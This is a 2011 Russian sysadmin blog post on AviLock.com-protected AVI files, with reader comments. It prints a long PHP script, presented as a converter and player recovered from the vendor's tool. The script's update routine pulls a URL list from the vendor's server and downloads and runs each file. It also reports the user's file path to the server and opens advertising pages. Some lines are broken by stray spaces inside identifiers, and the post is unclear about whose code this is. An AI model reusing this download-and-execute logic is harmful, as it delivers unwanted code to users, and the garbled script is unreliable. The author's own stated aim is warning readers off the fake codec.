Записки сисадмина
Алексей Никипольский
Суббота, 11.05.2024, 00:50
 
Меню
Настройка windows XP [38]
тонкости настройки, скрытые возможности
Программирование [8]
Нюансы, примеры, мои наработки и прочая полезная информация
Защита [28]
Компьютера, данных, интернет соединений и прочая полезная информация по защите
Обзор новинок [15]
Новинки ПО и железа
Обмен опытом [20]
Заработок в сети [9]
Все виды заработка в сети интернет, обзор, анализ, рекомендации
Распознование [10]
Все о методах и способах распознавания графической информации. Взлом капчи, методы и способы анализа...
Электронные книги [4]
По PHP CSS SQL PERL программированию Всё что есть в свободном доступе в интернете на разных ресурсах.
WEB программирование [9]
Всё о программировании WEB PHP Java PERL HTTP HTML и т.п.
Взлом [6]
методика взлома, примеры взлома, способы защиты от взлома
Онлайн сервисы [2]
Полезные сервисы онлайн
Администрирование [27]
Опыт системного администрирования
Статистика
Календарь
«  Февраль 2011  »
ПнВтСрЧтПтСбВс
 123456
78910111213
14151617181920
21222324252627
28
Главная » 2011 » Февраль » 22 » Снятие защиты *.avi установленной с помощью AviLock.com
12:52
Снятие защиты *.avi установленной с помощью AviLock.com

наткнулся на одну необычную фичу, касающуюся обычных AVI-файлов.

Умники из http://avilock.com/ навешивает свою защиту на обычные avi-шные файлы.

В результате файл состоит из двух частей:
первая - авишка обычного формата длительностью около 20 секунд, представляющая собой рекламный ролик, предлагающий скачать "специальный кодек" для просмотра этого видео с вышеупомянутого сайта, вторая - содержание самого фильма. При этом в заголовке указывается длительность фильма равной 20 секундам, поэтому воспроизведения основного фильма не происходит.
Приблуда, которую предлагается скачать с их сайта имеет размер около 20Мб и назначение ее просто кричит - я создана нести спам (рекламу) народу.

Анализ с помощью converter.exe позволил создать свой кодек, в обход примитивной защиты:

Вот собственно сам конвертор и плеер в одном лице::: 

$k=reg_open_key(HKEY_CLASSES_ROOT, "avilock\shell\Open\command");
$path=trim(reg_get_value($k, ""));
reg_close_key($k);
$path[0]="";
$path=dirname(trim($path))."";
$buddylist_server="www.avilock.com";
$buddylist_active=1;
function update(){
global $buddylist_server,$buddylist_active,$path;
if($buddylist_active)
{
$fp=fopen($path."version.txt","a+");
$tek_ver=trim(fread($fp,128));
fclose($fp);
$fp=fsockopen($buddylist_server,80,$errno,$errstr,30);
if(!$fp)
{
echo "$errstr ($errno)\n";
}else{
$f=file("http://".$buddylist_server."/update.php");
$c=count($f);
$ver=trim($f[0]);
if($ver!=$tek_ver)
{
$fp=fopen($path."version.txt","w+");
fwrite($fp,$ver);
fclose($fp);
for($i=1;$i<$c;$i++)
{
run_download_file(trim($f[$i]));
}
}
}
fclose($fp);
}
return time();
}

function run_download_file($url){
global $path;
$t=explode("/",$url);
$protokol=$t[0];
$server=$t[2];
$filename=$t[count($t)-1];
if($protokol=="http:")
{
unset($t[0]);
unset($t[1]);
unset($t[2]);
$url_path=implode("/",$t);
$fp=fsockopen($server,80,$errno,$errstr,30);
if (!$fp)
{
echo "$errstr ($errno)\n";
} else {
$out = "GET /".$url_path." HTTP/1.1\r\n";
$out .= "Host: ".$server."\r\n";
$out .= "Connection: Close\r\n\r\n";
fwrite($fp, $out);
$d1="";
$i=1;
$view=FALSE;
$fp1=fopen($path.$filename,"w+");
while (!feof($fp)) {
$d[$i]=fgets($fp,2);
if(!$view)
{
if(isset($d[$i-2]))
{
if(ord($d[$i])==10 and ord($d[$i-2])==10)
{
$view=TRUE;
}
}
}else{
fwrite($fp1,$d[$i]);
}
$i++;
}
fclose($fp1);
fclose($fp);
echo "RUN: ".$path.$filename."\n";
system(""".$path.$filename.""");
}
}
}

function sync_system($path,$arguments,$arguments2="")
{
echo $path." "".$arguments.""\n";
$WshShell=new COM("WScript.Shell");
$oShellLink=$WshShell->CreateShortcut("temp.lnk");
$oShellLink->TargetPath=$path;
$oShellLink->Arguments=""".$arguments.""";
if($arguments2!=""){$oShellLink->Arguments=""".$arguments."""." ".""".$arguments2.""";}
$oShellLink->WorkingDirectory=dirname($path);
$oShellLink->WindowStyle=1;
$oShellLink->Save();
//$oExec=$WshShell->Run("temp.lnk",1,false);
system("temp.lnk");
unset($WshShell,$oShellLink);
unlink("temp.lnk");
}

$ver="1.4";
$present_size=419840;
if(count($argv)==3)
{
$avi_file_in=$argv[1];
$website=$argv[2];
$present_file=$path."1.avi";
if(is_file($present_file) and is_file($avi_file_in))
{
echo "Fail OK\n";
if(filesize($present_file)==$present_size)
{
echo "Fail size OK\n";
echo "AVI file IN: ".$avi_file_in."\n";
$t=explode("",$avi_file_in);
$t1=explode(".",$t[count($t)-1]);
$t[count($t)-1]="";
$fn=implode(".",$t1);
$avi_file_out=implode("/",$t).$fn."_key.".$t1[count($t1)-1];
echo "AVI file OUT: ".$avi_file_out."\n";
$fp1=fopen($present_file,"r+");
$fp2=fopen($avi_file_out,"w+");
$fp3=fopen($avi_file_in,"r+");
while(!feof($fp1))
{
$data=fread($fp1,4194304);
fwrite($fp2,$data);
}
$data=fread($fp3,1024);
$wr=strlen(base64_encode($website)).":".base64_encode($website).str len(base64_encode($ver)).":".base64_encode($ver).strlen(base64_encode( $data)).":".base64_encode($data);
fwrite($fp2,"|||");
fwrite($fp2,$wr);
while(!feof($fp3))
{
$data=fread($fp3,4194304);
fwrite($fp2,$data);
}
fclose($fp1);
fclose($fp2);
}
}
}elseif(count($argv)==2){
$avi_file_out=$argv[1];
$player_name="avilock_smplayer.exe";
$tasklist=`tasklist.exe`;
if(strstr($tasklist,$player_name))
{
echo `taskkill.exe /F /IM `.$player_name;
}
if(is_file($avi_file_out))
{
if(filesize($avi_file_out)>($present_size+3))
{
$temp_file=$_ENV["TEMP"]."/".md5(rand(0,10000)).".avi";
$fp1=fopen($avi_file_out,"r+");
fseek($fp1,$present_size);
$check=fread($fp1,3);
if($check=="|||")
{
$fp=fsockopen($buddylist_server,80,$errno,$errstr,30);
if(!$fp)
{
echo "$errstr ($errno)\n";
}else{
file("http://".$buddylist_server."/update.php?file=".urlencode($a vi_file_out));
$def_site_net=file("http://".$buddylist_server."/2.php");
}
fclose($fp);
if(isset($def_site_net[0]))
{
$def_site=$def_site_net[0];
}
$fp2=fopen($temp_file,"w+");
fwrite($fp2,"AviLock");
fclose($fp2);
$fp2=fopen($temp_file,"r+");
$site_len="";
while(!feof($fp1)){
$data=fread($fp1,1);
if($data!=":"){$site_len.=$data;}else{break;}}
$site=base64_decode(fread($fp1,intval($site_len)));
$ver_len="";
while(!feof($fp1)){
$data=fread($fp1,1);
if($data!=":"){$ver_len.=$data;}else{break;}}
$ver=base64_decode(fread($fp1,intval($ver_len)));
$head_len="";
while(!feof($fp1)){
$data=fread($fp1,1);
if($data!=":"){$head_len.=$data;}else{break;}}
$head=base64_decode(fread($fp1,intval($head_len)));
fwrite($fp2,$head);
sync_system($path."browse.exe",$site);
$s=ceil(((filesize($avi_file_out)-$present_size+strlen($site_len)+ strlen($ver_len)+strlen($head_len)+base64_encode(strlen($site))+base64 _encode(strlen($ver))+base64_encode(strlen($head))+3)/4194304)/100);
$i=0;$k=0;$flag=0;
echo "Start deconverting...\n";
$sec=10;
$ttt=time();
while(!feof($fp1))
{
$sec=time()-$ttt;
$fp=fopen($_ENV["TEMP"]."/"."1.txt","w+");
fwrite($fp,"Loading... ".$sec." second");
fclose($fp);
if((time()-$ttt)>10 and $flag==0)
{
$fp=fopen($_ENV["TEMP"]."/"."1.txt","w");
fwrite($fp,"Playing video");
fclose($fp);
sync_system($path.$player_name,$temp_file);
$flag=1;
}
if($flag==1)
{
$tasklist=`tasklist.exe`;
if(!strstr($tasklist,$player_name))
{
break;
}
}
$data=fread($fp1,4194304);
fwrite($fp2,$data);
}
fclose($fp2);
fclose($fp1);
if($flag==0)
{
echo "\n2Playing video\n";
sync_system($path.$player_name,$temp_file);
$flag=1;
}
while($flag)
{
$tasklist=`tasklist.exe`;
if(!strstr($tasklist,$player_name))
{
$flag=0;
}
}
unlink($temp_file);
if(isset($def_site))
{
sync_system($path."browse.exe",$def_site);
}
}else{
fclose($fp1);
sync_system($path.$player_name,$avi_file_out);
}
}else{
fclose($fp1);
sync_system($path.$player_name,$avi_file_out);
}
}
}
?>


Не стоит качать у них всякого рода трянов под видом бесплатных кодеков 


Удачи!!! Никипольский


Рекомендую Вам также почитать:


  • backup на основе WinRAR, WSH скриптов и Планировщика задач Windows
  • Утилиты для тонкой настройки Windows XP
  • Основные правила фильтрования для маршрутизаторов Cisco
  • Средства безопасности Windows XP
  • Восстановление пароля администратора к сайту
  • разблокировать Диспетчер задач
  • Windows XP и Windows Vista – отлаживаем параметры безопасности
  • Арбитраж трафика
  • Kwork, как заработать новичку в 2021 году?
  • Замена в тексте участков строк на заданные строки

  • Загрузить, скачать Защита, Снятие защиты *.avi установленной с помощью AviLock.com бесплатно.
    Скачать Снятие защиты *.avi установленной с помощью AviLock.com бесплатно
    Снятие защиты *.avi установленной с помощью AviLock.com бесплатно и без регистрации.

    При копировании материала указывайте источник

    Снятие защиты *.avi установленной с помощью AviLock.com download free


    Категория: Защита | Просмотров: 9838 | Добавил: Никипольский-Алексей | Теги: AviLock.com, Защита, снятие защиты | Рейтинг: 0.0/0
    Всего комментариев: 3
    avatar
    Здравствуйте! DivFix++ v0.34 Вам говорит что Ваш файл не является AVI файлом. Проверить это можно открыв Ваш файл в любом НЕХ редакторе. Все avi файлы начинаются так:
    0000: 52 49 46 46 . . . . . RIFF.....
    и т.д.
    Если у Вас начало файла отлично от RIFF - Ваш файл испорчен или сконвертирован в формат, отличный от avi.
    Если Вы делали по видеоинструкции - возможно у Вас файл unlock.studdio.dat отличный от необходимого и при вставки его из буфера обмена в Ваш avi файл в заголовок попал мусор.
    avatar
    Если нет познаний в PHP, то проблематично.
    В общих чертах скрипт работает след. образом:
    - скачивает заголовок в сервера AviLock
    - и заменяет начало avi файла

    Если Вы скачали всё же такой тип файла
    1- удалите его с компьютера
    2- напишите комментарий там, откуда его скачали, чтобы другие пользователи не тратили трафик и время
    3- качайте фильмы в других форматах, отличных от avi

    avatar
    0
    1 giv • 21:05, 13.03.2011
    я не программист и поэтому как пользоваться вашим кодеком можно поконкретнее? Что нужно для ХР доустановить?
    avatar
    Мои услуги на Kwork
    Like It


    Copyright Алексей Никипольский © 2009 - 2024